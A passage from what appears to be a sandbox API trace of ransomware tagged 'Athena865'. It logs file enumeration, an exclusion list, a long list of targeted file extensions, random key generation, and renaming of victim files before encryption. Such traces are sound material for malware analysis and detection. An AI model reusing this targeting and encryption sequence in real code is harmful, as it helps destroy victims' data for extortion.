(hProv=0x518de8, dwFlags=0x0) returned 1 [0058.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0058.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0058.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0058.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0058.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0058.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0058.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0058.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0058.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0058.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0058.105] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0058.108] CloseHandle (hObject=0x17c) returned 1 [0058.108] CloseHandle (hObject=0x154) returned 1 [0058.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0058.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518e70 | out: hHeap=0x4f0000) returned 1 [0058.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0058.117] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2=".") returned 1 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="..") returned 1 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="windows") returned -1 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="bootmgr") returned 1 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="temp") returned -1 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="pagefile.sys") returned 1 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="boot") returned 1 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="ids.txt") returned 1 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="ntuser.dat") returned 1 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="perflogs") returned 1 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="MSBuild") returned 1 [0058.117] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0058.117] lstrcpyW (in: lpString1=0x241e8c6, lpString2="ProjectMUI.xml" | out: lpString1="ProjectMUI.xml") returned="ProjectMUI.xml" [0058.117] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0058.117] lstrlenW (lpString="Athena865") returned 9 [0058.117] lstrcmpiW (lpString1="ctMUI.xml", lpString2="Athena865") returned 1 [0058.117] lstrlenW (lpString=".dll") returned 4 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2=".dll") returned 1 [0058.117] lstrlenW (lpString=".lnk") returned 4 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2=".lnk") returned 1 [0058.117] lstrlenW (lpString=".ini") returned 4 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2=".ini") returned 1 [0058.117] lstrlenW (lpString=".sys") returned 4 [0058.117] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2=".sys") returned 1 [0058.117] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0058.117] lstrlenW (lpString="bak") returned 3 [0058.117] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0058.117] lstrlenW (lpString="ba_") returned 3 [0058.117] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0058.117] lstrlenW (lpString="dbb") returned 3 [0058.118] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0058.118] lstrlenW (lpString="vmdk") returned 4 [0058.118] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0058.118] lstrlenW (lpString="rar") returned 3 [0058.118] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0058.118] lstrlenW (lpString="zip") returned 3 [0058.118] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0058.118] lstrlenW (lpString="tgz") returned 3 [0058.118] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0058.118] lstrlenW (lpString="vbox") returned 4 [0058.118] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0058.118] lstrlenW (lpString="vdi") returned 3 [0058.118] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0058.118] lstrlenW (lpString="vhd") returned 3 [0058.118] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0058.118] lstrlenW (lpString="vhdx") returned 4 [0058.118] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0058.118] lstrlenW (lpString="avhd") returned 4 [0058.118] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0058.118] lstrlenW (lpString="db") returned 2 [0058.118] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0058.118] lstrlenW (lpString="db2") returned 3 [0058.118] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0058.118] lstrlenW (lpString="db3") returned 3 [0058.118] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0058.118] lstrlenW (lpString="dbf") returned 3 [0058.118] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0058.118] lstrlenW (lpString="mdf") returned 3 [0058.118] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0058.118] lstrlenW (lpString="mdb") returned 3 [0058.118] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0058.118] lstrlenW (lpString="sql") returned 3 [0058.118] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0058.118] lstrlenW (lpString="sqlite") returned 6 [0058.119] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1 [0058.119] lstrlenW (lpString="sqlite3") returned 7 [0058.119] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1 [0058.119] lstrlenW (lpString="sqlitedb") returned 8 [0058.119] lstrcmpiW (lpString1="tMUI.xml", lpString2="sqlitedb") returned 1 [0058.119] lstrlenW (lpString="xml") returned 3 [0058.119] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0058.119] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.Athena865") returned 87 [0058.119] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.athena865"), dwFlags=0x1) returned 1 [0058.120] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0058.120] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1452) returned 1 [0058.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0058.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0058.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518e70 [0058.121] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518de8) returned 1 [0058.121] CryptGenRandom (in: hProv=0x518de8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0058.121] CryptReleaseContext (hProv=0x518de8, dwFlags=0x0) returned 1 [0058.122] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b0, lpName=0x0) returned 0x17c [0058.123] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b0) returned 0x100000 [0058.124] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518de8) returned 1 [0058.124] CryptGenRandom (in: hProv=0x518de8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0058.124] CryptReleaseContext (hProv=0x518de8, dwFlags=0x0) returned 1 [0058.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0058.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0058.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0058.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0058.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0058.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0058.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0058.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0058.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0058.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0058.125] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0058.125] CloseHandle (hObject=0x17c) returned 1 [0058.126] CloseHandle (hObject=0x154) returned 1 [0058.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0058.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518e70 | out: hHeap=0x4f0000) returned 1 [0058.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0058.126] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0058.126] lstrcmpiW (lpString1="ProjLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0058.126] lstrcmpiW (lpString1="ProjLR.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0058.126] lstrcmpiW (lpString1="ProjLR.cab", lpString2=".") returned 1 [0058.126] lstrcmpiW (lpString1="ProjLR.cab", lpString2="..") returned 1 [0058.126] lstrcmpiW (lpString1="ProjLR.cab", lpString2="windows") returned -1 [0058.126] lstrcmpiW (lpString1="ProjLR.cab", lpString2="bootmgr") returned 1 [0058.126] lstrcmpiW (lpString1="ProjLR.cab", lpString2="temp") returned -1 [0058.126] lstrcmpiW (lpString1="ProjLR.cab", lpString2="pagefile.sys") returned 1 [0058.126] lstrcmpiW (lpString1="ProjLR.cab", lpString2="boot") returned 1 [0058.126] lstrcmpiW (lpString1="ProjLR.cab", lpString2="ids.txt") returned 1 [0058.126] lstrcmpiW (lpString1="ProjLR.cab", lpString2="ntuser.dat") returned 1 [0058.126] lstrcmpiW (lpString1="ProjLR.cab", lpString2="perflogs") returned 1 [0058.126] lstrcmpiW (lpString1="ProjLR.cab", lpString2="MSBuild") returned 1 [0058.126] lstrlenW (lpString="ProjLR.cab") returned 10 [0058.126] lstrcpyW (in: lpString1=0x241e8c6, lpString2="ProjLR.cab" | out: lpString1="ProjLR.cab") returned="ProjLR.cab" [0058.126] lstrlenW (lpString="ProjLR.cab") returned 10 [0058.126] lstrlenW (lpString="Athena865") returned 9 [0058.126] lstrcmpiW (lpString1="rojLR.cab", lpString2="Athena865") returned 1 [0058.126] lstrlenW (lpString=".dll") returned 4 [0058.126] lstrcmpiW (lpString1="ProjLR.cab", lpString2=".dll") returned 1 [0058.126] lstrlenW (lpString=".lnk") returned 4 [0058.126] lstrcmpiW (lpString1="ProjLR.cab", lpString2=".lnk") returned 1 [0058.127] lstrlenW (lpString=".ini") returned 4 [0058.127] lstrcmpiW (lpString1="ProjLR.cab", lpString2=".ini") returned 1 [0058.127] lstrlenW (lpString=".sys") returned 4 [0058.127] lstrcmpiW (lpString1="ProjLR.cab", lpString2=".sys") returned 1 [0058.127] lstrlenW (lpString="ProjLR.cab") returned 10 [0058.127] lstrlenW (lpString="bak") returned 3 [0058.127] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0058.127] lstrlenW (lpString="ba_") returned 3 [0058.127] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0058.127] lstrlenW (lpString="dbb") returned 3 [0058.127] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0058.127] lstrlenW (lpString="vmdk") returned 4 [0058.127] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0058.127] lstrlenW (lpString="rar") returned 3 [0058.127] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0058.127] lstrlenW (lpString="zip") returned 3 [0058.127] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0058.127] lstrlenW (lpString="tgz") returned 3 [0058.127] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0058.127] lstrlenW (lpString="vbox") returned 4 [0058.127] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0058.127] lstrlenW (lpString="vdi") returned 3 [0058.127] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0058.127] lstrlenW (lpString="vhd") returned 3 [0058.127] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0058.127] lstrlenW (lpString="vhdx") returned 4 [0058.127] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0058.127] lstrlenW (lpString="avhd") returned 4 [0058.127] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0058.127] lstrlenW (lpString="db") returned 2 [0058.127] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0058.128] lstrlenW (lpString="db2") returned 3 [0058.128] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0058.128] lstrlenW (lpString="db3") returned 3 [0058.128] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0058.128] lstrlenW (lpString="dbf") returned 3 [0058.128] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0058.128] lstrlenW (lpString="mdf") returned 3 [0058.128] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0058.128] lstrlenW (lpString="mdb") returned 3 [0058.128] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0058.128] lstrlenW (lpString="sql") returned 3 [0058.128] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0058.128] lstrlenW (lpString="sqlite") returned 6 [0058.128] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1 [0058.128] lstrlenW (lpString="sqlite3") returned 7 [0058.128] lstrcmpiW (lpString1="jLR.cab", lpString2="sqlite3") returned -1 [0058.128] lstrlenW (lpString="sqlitedb") returned 8 [0058.128] lstrcmpiW (lpString1="ojLR.cab", lpString2="sqlitedb") returned -1 [0058.128] lstrlenW (lpString="xml") returned 3 [0058.128] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0058.128] lstrlenW (lpString="$er") returned 3 [0058.128] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0058.128] lstrlenW (lpString="4dd") returned 3 [0058.128] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0058.128] lstrlenW (lpString="4dl") returned 3 [0058.128] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0058.128] lstrlenW (lpString="^^^") returned 3 [0058.128] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0058.128] lstrlenW (lpString="abs") returned 3 [0058.128] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0058.128] lstrlenW (lpString="abx") returned 3 [0058.128] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0058.128] lstrlenW (lpString="accdb") returned 5 [0058.129] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1 [0058.129] lstrlenW (lpString="accdc") returned 5 [0058.129] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1 [0058.129] lstrlenW (lpString="accde") returned 5 [0058.129] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1 [0058.129] lstrlenW (lpString="accdr") returned 5 [0058.129] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1 [0058.129] lstrlenW (lpString="accdt") returned 5 [0058.129] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1 [0058.129] lstrlenW (lpString="accdw") returned 5 [0058.129] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1 [0058.129] lstrlenW (lpString="accft") returned 5 [0058.129] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1 [0058.129] lstrlenW (lpString="adb") returned 3 [0058.129] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0058.129] lstrlenW (lpString="adb") returned 3 [0058.129] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0058.129] lstrlenW (lpString="ade") returned 3 [0058.129] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0058.129] lstrlenW (lpString="adf") returned 3 [0058.129] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0058.129] lstrlenW (lpString="adn") returned 3 [0058.129] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0058.129] lstrlenW (lpString="adp") returned 3 [0058.129] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0058.129] lstrlenW (lpString="alf") returned 3 [0058.129] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0058.129] lstrlenW (lpString="ask") returned 3 [0058.129] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0058.129] lstrlenW (lpString="btr") returned 3 [0058.129] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0058.129] lstrlenW (lpString="cat") returned 3 [0058.129] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0058.129] lstrlenW (lpString="cdb") returned 3 [0058.129] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0058.130] lstrlenW (lpString="ckp") returned 3 [0058.130] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0058.130] lstrlenW (lpString="cma") returned 3 [0058.130] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0058.130] lstrlenW (lpString="cpd") returned 3 [0058.130] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0058.130] lstrlenW (lpString="dacpac") returned 6 [0058.130] lstrcmpiW (lpString1="LR.cab", lpString2="dacpac") returned 1 [0058.130] lstrlenW (lpString="dad") returned 3 [0058.130] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0058.130] lstrlenW (lpString="dadiagrams") returned 10 [0058.130] lstrlenW (lpString="daschema") returned 8 [0058.130] lstrcmpiW (lpString1="ojLR.cab", lpString2="daschema") returned 1 [0058.130] lstrlenW (lpString="db-journal") returned 10 [0058.130] lstrlenW (lpString="db-shm") returned 6 [0058.130] lstrcmpiW (lpString1="LR.cab", lpString2="db-shm") returned 1 [0058.130] lstrlenW (lpString="db-wal") returned 6 [0058.130] lstrcmpiW (lpString1="LR.cab", lpString2="db-wal") returned 1 [0058.130] lstrlenW (lpString="dbc") returned 3 [0058.130] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0058.130] lstrlenW (lpString="dbs") returned 3 [0058.130] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0058.130] lstrlenW (lpString="dbt") returned 3 [0058.130] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0058.130] lstrlenW (lpString="dbv") returned 3 [0058.130] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0058.130] lstrlenW (lpString="dbx") returned 3 [0058.130] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0058.130] lstrlenW (lpString="dcb") returned 3 [0058.130] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0058.130] lstrlenW (lpString="dct") returned 3 [0058.130] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0058.130] lstrlenW (lpString="dcx") returned 3 [0058.130] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0058.131] lstrlenW (lpString="ddl") returned 3 [0058.131] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0058.131] lstrlenW (lpString="dlis") returned 4 [0058.131] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0058.131] lstrlenW (lpString="dp1") returned 3 [0058.131] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0058.131] lstrlenW (lpString="dqy") returned 3 [0058.131] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0058.131] lstrlenW (lpString="dsk") returned 3 [0058.131] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0058.131] lstrlenW (lpString="dsn") returned 3 [0058.131] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0058.131] lstrlenW (lpString="dtsx") returned 4 [0058.131] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0058.131] lstrlenW (lpString="dxl") returned 3 [0058.131] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0058.131] lstrlenW (lpString="eco") returned 3 [0058.131] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0058.131] lstrlenW (lpString="ecx") returned 3 [0058.131] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0058.131] lstrlenW (lpString="edb") returned 3 [0058.131] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0058.131] lstrlenW (lpString="epim") returned 4 [0058.131] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0058.131] lstrlenW (lpString="fcd") returned 3 [0058.131] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0058.131] lstrlenW (lpString="fdb") returned 3 [0058.131] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0058.131] lstrlenW (lpString="fic") returned 3 [0058.131] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0058.131] lstrlenW (lpString="flexolibrary") returned 12 [0058.131] lstrlenW (lpString="fm5") returned 3 [0058.131] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0058.131] lstrlenW (lpString="fmp") returned 3 [0058.132] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0058.132] lstrlenW (lpString="fmp12") returned 5 [0058.132] lstrcmpiW (lpString1="R.cab", lpString2="fmp12") returned 1 [0058.132] lstrlenW (lpString="fmpsl") returned 5 [0058.132] lstrcmpiW (lpString1="R.cab", lpString2="fmpsl") returned 1 [0058.132] lstrlenW (lpString="fol") returned 3 [0058.132] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0058.132] lstrlenW (lpString="fp3") returned 3 [0058.132] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0058.132] lstrlenW (lpString="fp4") returned 3 [0058.132] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0058.132] lstrlenW (lpString="fp5") returned 3 [0058.132] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0058.132] lstrlenW (lpString="fp7") returned 3 [0058.132] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0058.132] lstrlenW (lpString="fpt") returned 3 [0058.132] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0058.132] lstrlenW (lpString="frm") returned 3 [0058.132] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0058.132] lstrlenW (lpString="gdb") returned 3 [0058.132] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0058.132] lstrlenW (lpString="gdb") returned 3 [0058.132] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0058.132] lstrlenW (lpString="grdb") returned 4 [0058.132] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0058.132] lstrlenW (lpString="gwi") returned 3 [0058.132] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0058.132] lstrlenW (lpString="hdb") returned 3 [0058.132] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0058.132] lstrlenW (lpString="his") returned 3 [0058.132] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0058.132] lstrlenW (lpString="ib") returned 2 [0058.132] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0058.132] lstrlenW (lpString="idb") returned 3 [0058.133] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0058.133] lstrlenW (lpString="ihx") returned 3 [0058.133] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0058.133] lstrlenW (lpString="itdb") returned 4 [0058.133] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0058.133] lstrlenW (lpString="itw") returned 3 [0058.133] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0058.133] lstrlenW (lpString="jet") returned 3 [0058.133] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0058.133] lstrlenW (lpString="jtx") returned 3 [0058.133] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0058.133] lstrlenW (lpString="kdb") returned 3 [0058.133] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0058.133] lstrlenW (lpString="kexi") returned 4 [0058.133] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0058.133] lstrlenW (lpString="kexic") returned 5 [0058.133] lstrcmpiW (lpString1="R.cab", lpString2="kexic") returned 1 [0058.133] lstrlenW (lpString="kexis") returned 5 [0058.133] lstrcmpiW (lpString1="R.cab", lpString2="kexis") returned 1 [0058.133] lstrlenW (lpString="lgc") returned 3 [0058.133] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0058.133] lstrlenW (lpString="lwx") returned 3 [0058.133] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0058.133] lstrlenW (lpString="maf") returned 3 [0058.133] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0058.133] lstrlenW (lpString="maq") returned 3 [0058.133] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0058.133] lstrlenW (lpString="mar") returned 3 [0058.133] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0058.133] lstrlenW (lpString="marshal") returned 7 [0058.133] lstrcmpiW (lpString1="jLR.cab", lpString2="marshal") returned -1 [0058.133] lstrlenW (lpString="mas") returned 3 [0058.133] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0058.133] lstrlenW (lpString="mav") returned 3 [0058.133] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0058.133] 